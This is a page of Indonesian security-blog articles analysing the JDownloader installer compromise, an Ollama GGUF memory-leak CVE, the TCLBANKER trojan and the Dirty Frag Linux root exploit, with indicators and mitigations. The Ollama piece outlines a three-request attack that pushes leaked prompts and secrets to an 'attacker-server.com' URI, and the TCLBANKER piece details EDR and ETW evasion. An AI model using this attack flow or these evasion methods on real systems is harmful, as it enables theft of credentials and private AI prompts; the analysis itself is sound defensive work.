Supply Chain Attack JDownloader via Installer RAT - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 11, 2026 Comment

JDownloader Linux installer - Bleeping Computer

Supply chain attack modern mulai bergeser dari kompromi source code menjadi manipulasi distribusi software. Kasus kompromi situs JDownloader menunjukkan pola yang semakin sering muncul dalam beberapa tahun terakhir: attacker tidak perlu membobol developer workstation atau menyisipkan backdoor ke repository internal untuk menginfeksi jutaan pengguna. Cukup dengan mengambil alih jalur distribusi installer, trust relationship antara user dan software vendor langsung runtuh.

Yang membuat insiden ini menarik secara teknis bukan hanya fakta bahwa website resmi berhasil disusupi, tetapi bagaimana attacker memahami perilaku pengguna software populer. Banyak user menganggap installer dari domain resmi otomatis aman, bahkan ketika Windows Defender mulai memberi warning atau signature publisher terlihat berubah. Dalam praktiknya, trust terhadap brand sering mengalahkan warning security dari sistem operasi.

Baca Juga Tentang: Supply Chain Attack

Pada kasus ini, attacker berhasil memodifikasi link download pada website resmi JDownloader melalui kompromi CMS yang memiliki vulnerability belum dipatch. Menurut laporan developer, attacker tidak memperoleh akses OS-level terhadap server. Ini berarti kompromi kemungkinan besar terbatas pada layer aplikasi web dan permission CMS, namun itu sudah cukup untuk mengubah seluruh jalur distribusi software.

Baca Juga Tentang: CMS Exploitation

Di sinilah karakteristik supply chain attack modern mulai terlihat. Attacker tidak perlu mempertahankan persistence panjang di infrastruktur korban. Mereka hanya membutuhkan kemampuan mengubah artefak yang diunduh user selama beberapa jam untuk menghasilkan ribuan endpoint terinfeksi.

Target utama attack berada pada dua jalur distribusi:

  • Windows “Alternative Installer”
  • Linux shell installer

Distribusi utama seperti JAR package, Winget, Flatpak, dan macOS installer tidak terkena dampak. Ini kemungkinan menunjukkan attacker sengaja memilih jalur distribusi yang memiliki validasi keamanan lebih lemah dan lebih sedikit verifikasi signature otomatis.

Pada sisi Windows, payload yang didistribusikan ternyata bukan trojan sederhana, melainkan loader yang men-deploy Python-based RAT dengan obfuscation berat. Ini cukup penting karena malware berbasis Python mulai semakin populer pada operasi modern akibat beberapa alasan:

  • Mudah dimodifikasi secara modular
  • Cepat dikembangkan
  • Cross-platform
  • Sulit dianalisa ketika diproteksi PyArmor
  • Dapat menjalankan dynamic payload dari C2
Baca Juga Tentang: Python Malware

Berbeda dengan malware tradisional yang seluruh logic-nya berada di binary utama, framework RAT modular memungkinkan attacker mengirim Python code baru langsung dari command and control server. Artinya kapabilitas malware dapat berubah setelah infeksi awal tanpa perlu mendistribusikan ulang executable baru.

Secara operasional, model seperti ini lebih menyerupai post-exploitation framework dibanding trojan statis biasa.

Dari perspektif threat modeling, ini membuat attack jauh lebih fleksibel. Endpoint yang awalnya hanya digunakan untuk persistence dapat berubah menjadi:

  • credential stealer
  • lateral movement node
  • internal reconnaissance bot
  • proxy tunnel
  • crypto miner
  • loader ransomware

Semua tergantung module Python yang dikirim dari server C2.

Yang lebih menarik justru payload Linux-nya. Banyak organisasi masih menganggap Linux desktop atau workstation developer relatif aman dibanding Windows. Namun attack ini menunjukkan attacker mulai serius membangun malware Linux dengan persistence penuh.

Baca Juga Tentang: Linux Privilege Escalation

Shell installer JDownloader dimodifikasi untuk mengunduh archive tambahan dari domain eksternal yang disamarkan sebagai file SVG. Teknik penyamaran seperti ini cukup efektif karena banyak monitoring system hanya memfilter executable extension tertentu.

Setelah diunduh, script mengekstrak dua ELF binary:

  • pkg
  • systemd-exec

Komponen paling berbahaya di sini adalah pemasangan systemd-exec sebagai SUID-root binary di /usr/bin/.

Dalam Linux, SUID memungkinkan executable berjalan dengan privilege owner file, bukan privilege user yang menjalankannya. Jika owner adalah root, maka binary tersebut effectively menjadi privilege escalation primitive permanen.

Artinya attacker tidak hanya memperoleh initial access, tetapi juga persistence dan kemampuan privilege escalation jangka panjang.

Persistence kemudian diperkuat melalui:

"/etc/profile.d/systemd.sh"

Script ini otomatis dieksekusi ketika shell session dimulai, membuat malware aktif kembali setiap login.

Payload utama juga disamarkan sebagai:

"/usr/libexec/upowerd"

Ini bukan sekadar rename acak. "upowerd" adalah service Linux legitimate yang cukup umum sehingga proses terlihat normal di process list. Teknik ini menunjukkan attacker memahami operational stealth pada environment Linux.

Kasus ini memperlihatkan perubahan penting dalam ekosistem malware modern: Linux endpoint kini mulai diperlakukan sebagai target mainstream, terutama karena banyak developer, DevOps engineer, dan administrator menggunakan Linux workstation yang memiliki akses credential sangat sensitif.

Dalam skenario realistis, compromise seperti ini bisa menghasilkan dampak jauh lebih besar dibanding infeksi user biasa. Bayangkan seorang DevOps engineer menginstal JDownloader pada workstation Linux yang juga memiliki:

  • SSH key production
  • Kubernetes config
  • cloud credential
  • GitHub PAT
  • VPN certificate
  • Docker registry token

Karena payload berjalan dengan persistence dan kemungkinan privilege escalation, attacker berpotensi memperoleh akses ke infrastruktur organisasi tanpa perlu mengeksploitasi server production secara langsung.

Ini mengubah insiden dari “malware installer” menjadi supply chain entry point menuju cloud infrastructure compromise.

Dari sisi defensive security, ada insight penting yang sering diabaikan: digital signature bukan hanya formalitas compliance. Pada insiden ini, indikator awal compromise justru berasal dari perubahan publisher signature menjadi:

  • “Zipline LLC”
  • “The Water Team”

Sementara installer legitimate ditandatangani oleh:

"AppWork GmbH"

Masalahnya, banyak user terbiasa mengabaikan warning publisher selama software tetap berjalan normal. Dalam supply chain attack, behavioral weakness seperti ini sering lebih efektif dibanding eksploitasi teknis kompleks.

Bagi security engineer, kasus ini menunjukkan mengapa software allowlisting berbasis hash jauh lebih kuat dibanding sekadar reputation-based trust. Ketika domain resmi sudah dikompromi, filtering berbasis URL atau publisher reputation mulai kehilangan efektivitas.

Dari perspektif pentesting dan incident response, ada beberapa IOC yang menarik untuk diperhatikan:

  • komunikasi ke domain C2 PHP endpoint
  • executable Python obfuscated dengan PyArmor
  • SUID binary abnormal
  • persistence di "/etc/profile.d/"
  • proses menyamar sebagai upowerd

Pada Linux environment, keberadaan binary SUID baru seharusnya langsung dianggap suspicious karena sebagian besar workstation normal jarang membuat SUID file tambahan secara dinamis.

Mitigasi terhadap kasus seperti ini tidak cukup hanya dengan “hapus malware”. Developer JDownloader sendiri menyarankan reinstall OS penuh, dan itu keputusan yang masuk akal. Ketika arbitrary code execution telah terjadi, tidak ada jaminan persistence atau credential theft dapat dibersihkan sepenuhnya.

Langkah mitigasi yang lebih relevan untuk organisasi meliputi:

  • verifikasi digital signature sebelum deployment software
  • mirror internal untuk installer trusted
  • monitoring perubahan SUID binary
  • outbound filtering terhadap domain baru
  • sandboxing installer pihak ketiga
  • isolasi workstation developer dari credential produksi

Kasus JDownloader juga memperlihatkan tren yang semakin jelas sepanjang 2026. Sebelumnya pola serupa terjadi pada:

  • CPU-Z
  • HWMonitor
  • DAEMON Tools

Artinya attacker mulai memahami bahwa mengkompromi website software populer memberikan ROI jauh lebih tinggi dibanding phishing individual. Satu kompromi website dapat menghasilkan ribuan endpoint baru dalam hitungan jam.

Dalam konteks yang lebih luas, supply chain attack kini tidak lagi identik dengan kompromi dependency seperti SolarWinds atau malicious package di npm. Jalur distribusi software, CMS website, update mirror, dan installer alternatif kini sama berbahayanya. Bahkan pada banyak kasus, attack surface distribusi justru lebih lemah dibanding source code infrastructure itu sendiri.

Benediktus Sava – Security Researcher

Sumber:

Security Affairs

Bleeping Computer

Ollama CVE-2026-7482: Memory Leak via GGUF Quantization - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 11, 2026 Comment
Ollama thumbnail - Ethical Hacking Indonesia

Ollama selama ini diposisikan sebagai solusi private AI inference untuk organisasi yang ingin menjalankan LLM secara lokal tanpa bergantung pada cloud provider seperti OpenAI atau Anthropic. Namun CVE-2026-7482 memperlihatkan paradoks yang cukup serius dalam ekosistem local LLM: sistem yang dibangun untuk menjaga privasi justru dapat membocorkan seluruh heap memory proses inference hanya melalui manipulasi file model.

Kerentanan ini bukan bug parser biasa. Dampaknya jauh lebih dekat ke kategori cross-session memory disclosure karena data yang bocor bukan hanya metadata model, tetapi juga prompt pengguna lain, system prompt internal, hingga environment variables dari host yang menjalankan Ollama. Dalam konteks enterprise AI deployment, ini berarti rahasia organisasi dapat terekspos tanpa perlu autentikasi sama sekali. 

Secara teknis, akar masalahnya berada pada kombinasi tiga faktor: parsing file GGUF yang terlalu percaya pada metadata tensor, penggunaan package "unsafe" di Go, dan proses quantization pipeline yang membaca data tensor berdasarkan nilai shape tanpa memverifikasi ukuran buffer sebenarnya.

Baca Juga Tentang: Memory Corruption (dirty frag)

Arsitektur eksploitasi dimulai dari endpoint "/api/blobs/sha256:[digest]", yang memungkinkan attacker mengunggah file GGUF kustom. Setelah file tersedia di server, attacker menggunakan "/api/create" untuk membangun model baru dari file tersebut. Pada tahap ini, Ollama melakukan parsing tensor dan memproses quantization apabila parameter "quantize" diberikan.

Masalah muncul saat fungsi "WriteTo()" memanggil "ConvertToF32()". Fungsi ini menggunakan nilai Elements() dari tensor shape untuk menentukan berapa banyak data yang harus dibaca dari buffer tensor asli. Di sinilah validasi ukuran buffer gagal total.

Tensor dalam GGUF bersifat deklaratif. Artinya attacker bebas menentukan shape seperti "(1000000)" walaupun data asli hanya memiliki beberapa byte. Ketika "ggml_fp16_to_fp32_row()" melakukan loop konversi berdasarkan jumlah elemen tersebut, proses akan membaca melewati batas heap buffer asli (out-of-bounds heap read).

out of bound heap read

Pada bahasa seperti C atau C++, pola ini sudah lama dikenal sebagai primitive memory disclosure klasik. Yang menarik, kasus ini terjadi di Go bahasa yang secara umum dianggap memory-safe. Namun penggunaan package unsafe secara efektif menonaktifkan proteksi runtime Go dan membawa kembali risiko low-level memory corruption ala native programming.

Yang membuat vulnerability ini sangat berbahaya adalah bagaimana Ollama memproses hasil pembacaan tersebut. Data yang telah tercampur dengan isi heap tidak langsung dibuang atau menyebabkan panic. Sebaliknya, data tersebut diteruskan ke pipeline quantization lalu ditulis ulang ke file model baru.

Dengan kata lain, heap memory secara literal “diserialisasi” menjadi model AI.

Teknik eksploitasi paling efektif memanfaatkan konversi lossless dari F16 ke F32. Dalam kondisi normal, quantization biasanya merusak presisi data sehingga memory leak menjadi sulit dibaca. Namun attacker dapat menyetel tensor source sebagai F16 lalu meminta output F32 melalui parameter quantize.

Karena F16 -- F32 tidak bersifat lossy, data heap yang terbaca di luar buffer tetap utuh ketika ditulis ke disk. Ini bukan hanya bypass terhadap corruption akibat quantization, tetapi juga contoh bagaimana pipeline optimisasi AI dapat berubah menjadi mekanisme exfiltration.

Dari perspektif offensive security, ini adalah primitive yang sangat kuat karena:

  • Tidak membutuhkan autentikasi
  • Tidak membutuhkan RCE
  • Tidak membutuhkan filesystem access
  • Tidak membutuhkan crash
  • Dapat dilakukan melalui API normal

Eksfiltrasi data kemudian dilakukan melalui endpoint /api/push. Secara desain, endpoint ini digunakan untuk mengunggah model ke registry eksternal. Namun implementasi "PushHandler" memperbolehkan nama model berbentuk URI penuh seperti:

"http://attacker-server.com/namespace/model:tag"

BurpSuite Ilustrate - Ethical Hacking Indonesia

Ketika model hasil memory leak dipush menggunakan nama tersebut, Ollama otomatis mengirim seluruh model ke server attacker. Ini kemudian mengubah vulnerability dari sekadar local memory disclosure menjadi remote unauthenticated data exfiltration pipeline.

Secara praktis, alur serangan hanya membutuhkan tiga request:

  1. Upload GGUF berbahaya
  2. Trigger "/api/create"
  3. Push hasil model ke server attacker

Dalam skenario enterprise, dampaknya bisa jauh lebih besar dibanding sekadar kebocoran prompt pengguna. Banyak deployment Ollama modern dijalankan sebagai bagian dari AI gateway internal, agentic workflow, atau automation stack. Environment variable yang bocor dapat berisi:

  • API key cloud provider
  • Credential database
  • Access token GitHub
  • Internal endpoint
  • Prompt rahasia agent AI
  • Instruction policy model internal

Yang menarik, vulnerability ini juga memperlihatkan masalah struktural yang mulai muncul di ekosistem local AI infrastructure: parser model AI kini menjadi attack surface baru.

Sebelumnya banyak organisasi menganggap model AI hanyalah “data”. Namun format seperti GGUF sebenarnya lebih dekat ke executable container dibanding file statis biasa. Ia memiliki struktur kompleks, metadata, tensor layout, conversion pipeline, dan parser khusus yang berjalan dengan hak akses proses inference.

Artinya supply chain AI kini tidak hanya tentang poisoned model atau malicious weights, tetapi juga malformed model file yang dapat menyerang runtime inference engine itu sendiri.

Bagi pentester, CVE-2026-7482 membuka area pengujian baru pada AI stack:

  • Validasi parser model
  • Unsafe memory operation pada inference engine
  • Quantization pipeline abuse
  • Model registry abuse
  • Cross-tenant prompt leakage

Sedangkan bagi developer dan security engineer, kasus ini menunjukkan bahwa “memory-safe language” bukan jaminan keamanan ketika unsafe primitive digunakan tanpa boundary validation ketat.

Mitigasi utama seharusnya dilakukan pada beberapa layer sekaligus.

Pertama, Ollama harus memvalidasi bahwa ukuran tensor aktual sesuai dengan jumlah elemen yang dideklarasikan dalam shape tensor sebelum melakukan konversi. Nilai "Elements()" tidak boleh dipercaya begitu saja karena seluruh metadata GGUF bersifat attacker-controlled.

Kedua, endpoint "/api/push" seharusnya membatasi registry tujuan melalui allowlist atau memblok URI arbitrary sepenuhnya. Mengizinkan user menentukan destination URI secara bebas menciptakan kanal exfiltration internal yang sangat berbahaya.

Ketiga, deployment Ollama sebaiknya dipisahkan dari environment sensitif. Menjalankan inference engine dengan environment variable berisi credential produksi memperbesar blast radius ketika memory disclosure terjadi.

Selain itu, organisasi yang menggunakan Ollama secara multi-user perlu memahami bahwa prompt isolation tidak benar-benar aman jika seluruh proses inference berbagi heap memory yang sama. Dalam praktiknya, satu user dapat membaca konteks user lain hanya melalui model file berbahaya.

Kasus CVE-2026-7482 kemungkinan akan menjadi referensi penting ke depan karena memperlihatkan bahwa attack surface AI tidak lagi terbatas pada prompt injection atau jailbreak. Infrastructure layer dari local LLM runtime kini mulai memasuki kategori eksploitasi low-level yang sebelumnya lebih umum ditemukan pada browser engine, hypervisor, atau image parser.

Benediktus Sava – Security Researcher

Sumber:

cyera-com

teanable-com

TCLBANKER: Trojan Bank Memanfaatkan Overlay WPF Untuk Memanipulasi Target - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 09, 2026 Comment
Fake Bank Ilustrate - Ethical Hacking Indonesia

TCLBANKER banking trojan LATAM biasa. Malware ini menunjukkan evolusi yang cukup signifikan dari keluarga MAVERICK/SORVEPOTEL dengan pendekatan yang lebih modular, lebih evasive, dan lebih fokus pada social engineering interaktif dibanding sekadar credential theft tradisional.

Yang menarik bukan hanya kemampuan remote access atau keylogging, tetapi bagaimana operator membangun “lingkungan manipulasi penuh” terhadap korban. Kombinasi anti-analysis yang agresif, WebSocket session berbasis browser activity, dan overlay WPF anti-capture membuat malware ini terasa lebih dekat ke framework fraud operation dibanding trojan bank konvensional.

Secara operasional, kampanye REF3076 juga memperlihatkan pola modern malware-as-a-service kecil: Cloudflare Workers untuk C2, MSI trojanized installer, signed binary abuse, dan propagation melalui akun korban sendiri menggunakan WhatsApp serta Outlook.

DLL Sideloading Logitech: Entry Point yang Sulit Dicurigai

Rantai infeksi TCLBANKER dimulai dari MSI installer yang membawa aplikasi Logitech legitimate bernama LogiAiPromptBuilder.exe. Teknik yang digunakan adalah DLL sideloading melalui file screen_retriever_plugin.dll.

Windows DLL - Ehtical Hacking Indonesia

Secara teknis, ini memanfaatkan perilaku Windows loader yang akan mencari dependency DLL di direktori aplikasi terlebih dahulu sebelum lokasi sistem tertentu. Karena executable legitimate memanggil plugin dengan nama yang valid, malware cukup menyediakan DLL palsu dengan export yang sesuai agar otomatis dimuat saat aplikasi berjalan.

Baca Juga tentang: Operasi Siber Menggunakan DLL Side Loading (TA416)

Ini membuat proses awal terlihat legitimate:

  • Signed executable Logitech
  • Nama plugin terlihat normal
  • Framework Flutter memang menggunakan plugin eksternal
  • Tidak membutuhkan exploit kernel atau privilege escalation

Bagi EDR, pola seperti ini jauh lebih sulit dibedakan dibanding malware standalone biasa karena proses induk berasal dari software legitimate.

Yang lebih menarik adalah loader hanya akan berjalan jika DLL dimuat oleh:

  • logiaipromptbuilder.exe
  • tclloader.exe

Tetapi langsung berhenti jika dipanggil oleh tool analyst seperti:

  • rundll32.exe
  • regsvr32.exe
  • dllhost.exe

Ini menunjukkan developer memahami workflow reverse engineering umum dan secara aktif memblokir dynamic analysis sederhana.

Environment-Gated Decryption: Anti Sandbox 

Mayoritas malware hanya melakukan VM detection lalu exit. TCLBANKER menggunakan pendekatan yang lebih canggih: environment-bound payload decryption.

Malware membangun fingerprint lingkungan berdasarkan:

  • Debugger presence
  • Hardware breakpoint
  • Disk size
  • RAM
  • CPU count
  • Username
  • Locale
  • GeoID Brasil
  • Hypervisor signature

Fingerprint ini kemudian di-XOR menjadi environment hash yang dipakai untuk derivasi AES-256 key dan IV.

Artinya, payload sebenarnya tidak bisa didekripsi dengan benar jika environment berbeda dari target yang diharapkan.

Ini jauh lebih efektif dibanding sekadar if(debugger) exit; karena:

  1. Sandbox tetap melihat malware “berjalan”
  2. Tetapi payload gagal decrypt
  3. Analyst bisa salah menyimpulkan sample rusak/corrupt
  4. Automated detonation pipeline kehilangan visibility terhadap stage berikutnya

Pendekatan seperti ini mulai sering muncul pada malware modern karena mampu merusak automated malware triage pipeline tanpa perlu obfuscation ekstrem.

TCLBANKER juga melakukan unhooking ntdll.dll langsung dari disk untuk menghapus user-mode hooks milik EDR sebelum membuat syscall trampolines sendiri untuk API sensitif seperti:

  • NtProtectVirtualMemory
  • NtAllocateVirtualMemory
  • NtQueryInformationProcess

Kemudian ETW dimatikan dengan patch:

xor eax, eax ret

Pada "EtwEventWrite."

Bagi security engineer, kombinasi:

  • ETW patching
  • direct syscall
  • ntdll refresh
  • anti-hook verification

menunjukkan malware ini memang dirancang untuk melawan telemetry modern, bukan hanya antivirus signature tradisional.

Malware Mengawasi Analyst

TCLBANKER memiliki subsystem watchdog yang berjalan paralel dengan payload utama.

Thread ini terus memonitor:

  • debugger
  • disassembler
  • named pipe Frida
  • window title IDA/Ghidra/x64dbg
  • inline hook pada BCrypt API
  • module sandbox
  • mutex analyst tools
  • integrity .text section
Anti Analyst - Ethical hacking Indonesia

Yang cukup menarik adalah integrity validation terhadap fungsi seperti:

  • BCryptDecrypt
  • BCryptOpenAlgorithmProvider

Malware memeriksa 12 byte awal fungsi untuk mendeteksi inline hook instrumentation.

Artinya, malware tidak hanya menghindari debugger, tetapi juga mencoba mendeteksi behavioral monitoring framework modern. Dalam konteks defensive engineering, ini menjadi indikator bahwa user-mode visibility saja makin tidak cukup untuk threat seperti ini.

Browser Monitoring: Banking Trojan yang “Menunggu Target”

Selalu aktif penuh, TCLBANKER memonitor browser foreground menggunakan UI Automation API.

Workflow-nya:

  1. Mendeteksi browser aktif
  2. Membaca address bar
  3. Cocokkan URL dengan daftar target bank
  4. Baru membuka sesi WebSocket C2

Ini penting karena:

  • Mengurangi network noise
  • Menurunkan peluang deteksi
  • Operator hanya aktif saat victim membuka bank target
  • Infrastruktur C2 lebih “silent”

Targetnya mencakup:

  • bank Brasil
  • fintech
  • crypto platform

Pendekatan ini memperlihatkan pergeseran dari malware noisy menjadi event-driven malware. Secara defensif, monitoring UI Automation API terhadap browser address bar bisa menjadi detection opportunity yang cukup kuat karena software normal jarang membutuhkan akses seperti ini secara terus-menerus.

Overlay WPF: Evolusi dari Banking Trojan Menjadi Fraud Platform

Bagian paling berbahaya dari TCLBANKER bukan keylogger, naum pada framework overlay berbasis WPF.

Operator dapat membuat:

  • fake banking prompt
  • fake Windows Update
  • fake processing screen
  • vishing wait screen
  • credential collection UI
  • transparent cutout window

Overlay dibuat full-screen per monitor dan menggunakan screenshot desktop sebagai background sehingga korban merasa desktop masih normal.

Kemudian malware:

  • memaksa window tetap topmost
  • memblokir Alt+F4
  • memblokir Win key
  • memblokir PrintScreen
  • menyembunyikan overlay dari screen capture

Teknik WDA_EXCLUDEFROMCAPTURE sangat menarik karena membuat overlay tidak terlihat saat operator melakukan remote streaming.

Artinya operator dapat:

  • melihat desktop asli korban
  • sementara korban hanya melihat overlay palsu

Ini adalah bentuk social engineering-assisted remote fraud yang jauh lebih maju dibanding phishing statis biasa.

Baca Juga Tentang: Overlay Attack

Skenario Eksploitasi 

Salah satu skenario paling realistis adalah kombinasi credential overlay dan vishing.

Alurnya dapat terjadi seperti berikut:

Korban menerima file MSI melalui WhatsApp dari kontak yang sudah terinfeksi. Karena pesan berasal dari orang yang dikenal, tingkat trust lebih tinggi dibanding email phishing biasa. Setelah malware aktif, operator menunggu hingga korban membuka aplikasi internet banking.

Saat domain bank terdeteksi:

  1. Overlay fake verification muncul
  2. Korban diminta memasukkan nomor telepon
  3. Malware menampilkan “Estamos entrando em contato”
  4. Operator menelepon korban menyamar sebagai fraud department bank
  5. Overlay menampilkan fake processing/update screen selama operator melakukan transaksi backend

Karena desktop korban tampak frozen, korban cenderung menganggap aplikasi bank sedang memproses keamanan tambahan. Ini operational fraud biasa yang terjadi secara umum di kasus kasus sebelumnya yang Ethical Hacking Indonesia pernah bahas.

Worm WhatsApp dan Outlook: Penyebaran Berbasis Trust Relationship

Modul worm TCLBANKER menunjukkan evolusi menarik dalam propagation model.

tidak hanya spam infrastructure biasa, malware membajak:

  • WhatsApp Web session
  • akun Outlook korban

Pada WhatsApp, malware:

  • clone browser profile
  • copy IndexedDB
  • jalankan Chromium headless
  • restore authenticated session
  • inject WA-JS

Ini memungkinkan malware mengirim pesan tanpa QR login ulang.

Pendekatan ini sangat efektif karena:

  • pesan berasal dari akun nyata
  • tidak perlu credential cracking
  • bypass reputational filtering
  • memanfaatkan social trust chain

Di Outlook, malware menggunakan COM automation untuk mengirim email langsung dari mailbox korban.

Dalam konteks enterprise security, ini berbahaya karena:

  • SPF/DKIM valid
  • email berasal dari tenant asli
  • reputasi domain tetap legitimate
  • lebih sulit dideteksi secure email gateway

Secara strategis, ini mengubah infected endpoint menjadi distribution infrastructure. 

Baca Juga Tentang: Infostealer Malware

Cloudflare Workers: Abuse Infrastruktur Trusted Platform

Semua C2 dan payload delivery di-host melalui Cloudflare Workers.

Ini memberikan beberapa keuntungan operasional:

  • TLS valid
  • reputasi tinggi
  • rotasi cepat
  • serverless deployment
  • biaya rendah
  • sulit diblok total

Banyak organisasi enggan memblok Cloudflare secara agresif karena collateral impact sangat besar.

Ini menunjukkan tren yang semakin umum:

malware modern mulai dirancang untuk dapat bersembunyi di trusted cloud platform dibanding VPS attacker tradisional.

Kondisi ini mirip dengan abuse:

  • GitHub
  • Discord CDN
  • Telegram
  • Google Drive
  • OneDrive

di mana attacker memanfaatkan trust inheriting dari platform besar.

Baca Juga Tentang: Cloudflare Abuse C2

Insight untuk Pentester dan Defender

Bagi pentester, TCLBANKER memberikan gambaran realistis bagaimana operasi fraud modern bekerja setelah initial compromise berhasil diperoleh.

Attack surface utama bukan lagi kernel exploit, tetapi:

  • trust abuse
  • signed binary sideloading
  • UI deception
  • session hijacking
  • cloud infrastructure abuse

Bagi defender, beberapa detection surface yang layak diprioritaskan:

  • DLL load anomaly pada signed application
  • ETW patching
  • UI Automation abuse terhadap browser
  • WDA_EXCLUDEFROMCAPTURE usage
  • abnormal WebSocket ke Worker infrastructure
  • Selenium + cloned browser profile activity
  • access ke WhatsApp IndexedDB
  • scheduled task persistence dengan COM Task Scheduler

Detection berbasis IOC semata kemungkinan cepat usang karena operator menggunakan serverless infrastructure yang mudah diputar ulang.

Fokus lebih efektif diarahkan pada behavioral detection dan telemetry correlation lintas proses.

TCLBANKER memperlihatkan bagaimana banking trojan modern berevolusi menjadi platform fraud interaktif yang menggabungkan:

  • anti-analysis kelas malware loader modern
  • social engineering real-time
  • remote operation
  • trusted infrastructure abuse
  • propagation berbasis hubungan sosial korban

Yang membuat malware ini berbahaya bukan hanya kemampuan teknis individualnya, tetapi bagaimana seluruh komponennya dirancang untuk mendukung operasi fraud manusia secara langsung.

Ini adalah contoh nyata bahwa batas antara malware, remote access toolkit, dan social engineering framework semakin kabur dalam ekosistem cybercrime modern.

Benediktus Sava – Security Researcher

Sumber:

Elastic-Co

Microsoft - Dynamic Link Library

Linux Dirty Frag: Root Exploit Linux via Page Cache Corruption, Penerus Copy Fail - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 08, 2026 Comment

Dirty Pipe sempat dianggap sebagai salah satu bug Linux kernel paling berbahaya karena memungkinkan overwrite terhadap page cache tanpa hak akses root. Namun munculnya Dirty Frag menunjukkan bahwa class vulnerability tersebut belum benar-benar teratasi dengan sempurna. Yang berubah hanya jalur masuknya.

Dirty Frag bukan sesuatu yang hanya baru tetapi dari Dirty Pipe. Vulnerability ini memperlihatkan bahwa Linux kernel masih memiliki pola logic flaw serupa pada jalur fast-path networking tertentu, khususnya di subsystem XFRM ESP dan RxRPC. Dampaknya jauh lebih serius dibanding sekadar local file corruption karena primitive yang dihasilkan dapat dipakai untuk memperoleh root privilege secara stabil di hampir seluruh distribusi Linux modern.

Yang membuat kasus ini menarik bukan hanya exploitability-nya, tetapi fakta bahwa vulnerability ini bersifat deterministic. Tidak ada race condition. Tidak ada timing attack rumit. Tidak ada kernel panic ketika gagal. Exploit berjalan konsisten karena masalahnya berasal dari kesalahan logika ownership memory pada page cache.

Secara teknis, inti masalah berada pada bagaimana Linux menangani fragment page (frag) dalam struct sk_buff saat proses dekripsi packet di jalur fast-path. Pada kondisi tertentu, kernel melakukan operasi in-place decryption terhadap page yang sebenarnya masih direferensikan oleh user space melalui mekanisme seperti splice(), sendfile(), atau MSG_SPLICE_PAGES.

Masalah muncul karena kernel menganggap page tersebut aman untuk dimodifikasi langsung, padahal ownership-nya bukan eksklusif milik kernel. Akibatnya, proses dekripsi justru menulis ulang data ke page cache yang masih dapat diakses oleh unprivileged process.

Secara sederhana, alurnya terlihat seperti ini:

  1. User space membuat page-backed buffer menggunakan mekanisme zero-copy seperti splice()
  2. Buffer tersebut masuk ke networking stack
  3. Kernel melakukan dekripsi packet langsung pada frag page tanpa Copy-on-Write
  4. Data pada page cache berubah
  5. User space mendapatkan akses terhadap hasil modifikasi kernelv
Ini menciptakan primitive write terhadap page cache. Pada xfrm-ESP variant, primitive tersebut berupa arbitrary 4-byte STORE yang sangat mirip dengan Copy Fail.

Baca Juga Tentang: Copy Fail - CVE-2026-31431

Masalah fundamentalnya bukan hanya memory corruption biasa, tetapi kegagalan boundary ownership antara kernel dan user-controlled pages.

Yang membuat Dirty Frag berbahaya adalah chaining antar dua vulnerability berbeda untuk menutup blind spot satu sama lain.

Variant pertama berasal dari subsystem IPSec/XFRM (esp4 dan esp6). Exploit ini powerful karena tersedia hampir di seluruh distro Linux modern dan menghasilkan primitive write yang sangat stabil. Namun terdapat satu kendala: attacker memerlukan kemampuan membuat unprivileged user namespace.

Di Ubuntu modern, AppArmor sering memblokir namespace creation bagi user biasa. Ini membuat exploit ESP gagal dijalankan. 

Di titik inilah RxRPC digunakan sebagai fallback path.

RxRPC variant tidak memerlukan namespace privilege sama sekali. Tetapi modul rxrpc.ko justru tidak tersedia di sebagian besar distribusi enterprise seperti RHEL default installation.

Hasil akhirnya :

  • Pada distro yang mengizinkan user namespace -- gunakan xfrm-ESP
  • Pada Ubuntu yang memblokir namespace tetapi memuat RxRPC -- gunakan RxRPC
Artinya attacker tidak perlu peduli terhadap hardening spesifik distro. Mereka cukup memilih jalur exploit yang tersedia.

Pendekatan ini memperlihatkan pola modern Linux exploitation: bukan lagi single bug exploitation, melainkan exploit orchestration antar subsystem kernel.

Dari perspektif offensive security, ini lebih dekat ke konsep “capability chaining” dibanding eksploitasi tradisional.

Yang lebih mengkhawatirkan adalah lifetime vulnerability ini.

xfrm-ESP variant berasal dari commit tahun 2017. Artinya bug tersebut hidup hampir 9 tahun di production kernel tanpa terdeteksi. Bahkan commit yang sama juga menjadi akar dari CVE-2022-27666 beberapa tahun lalu.

Ini menunjukkan sesuatu yang lebih kompleks: fast-path optimization di networking stack Linux memiliki attack surface yang jauh lebih besar dibanding yang selama ini diasumsikan.

Fast-path biasanya dibuat untuk performa tinggi:

  • zero-copy networking
  • splice optimization
  • sendfile acceleration
  • page reuse
  • no-COW operations

Namun seluruh optimasi ini sangat sensitif terhadap ownership tracking. Sedikit kesalahan validasi reference counter atau COW handling dapat berubah menjadi privilege escalation primitive.

Dirty Frag memperlihatkan bahwa performa dan security isolation sering kali berada dalam konflik langsung di level kernel architecture.

Dalam skenario realistis, exploit ini sangat relevan untuk post-exploitation cloud environment.

Misalnya:

  • attacker memperoleh low-privilege shell melalui vulnerable web application
  • container escape tidak tersedia
  • SELinux/AppArmor aktif
  • kernel terbaru dianggap aman
Pada kondisi normal, privilege escalation modern biasanya memerlukan exploit race condition yang tidak stabil.

Dirty Frag mengubah situasi itu.

Karena exploit bersifat deterministic dan tidak membutuhkan race timing, attacker dapat memperoleh root secara konsisten tanpa menghasilkan crash yang menarik perhatian monitoring system.

Pada environment CI/CD atau shared-hosting Linux, dampaknya bahkan lebih serius karena:

  • local user dapat memperoleh full root
  • namespace isolation dapat dilewati
  • credential host dapat dicuri
  • container breakout menjadi lebih mudah

Kasus ini juga memperlihatkan kelemahan pendekatan mitigasi parsial.

Sebelumnya banyak administrator memitigasi Copy Fail dengan mem-blacklist algif_aead.

Namun Dirty Frag tetap bekerja walaupun mitigasi tersebut diterapkan karena sink vulnerability berada pada jalur berbeda.

Ini insight penting bagi defender: blacklist berbasis symptom sering kali gagal ketika bug class dasarnya belum benar-benar dipahami.

Selama page cache ownership flaw masih ada di subsystem lain, exploit baru akan terus muncul dengan primitive serupa.

Sampai patch resmi tersedia, mitigasi paling realistis saat ini adalah memblokir module terkait:

""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

printf 'install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
' > /etc/modprobe.d/dirtyfrag.conf

rmmod esp4 esp6 rxrpc

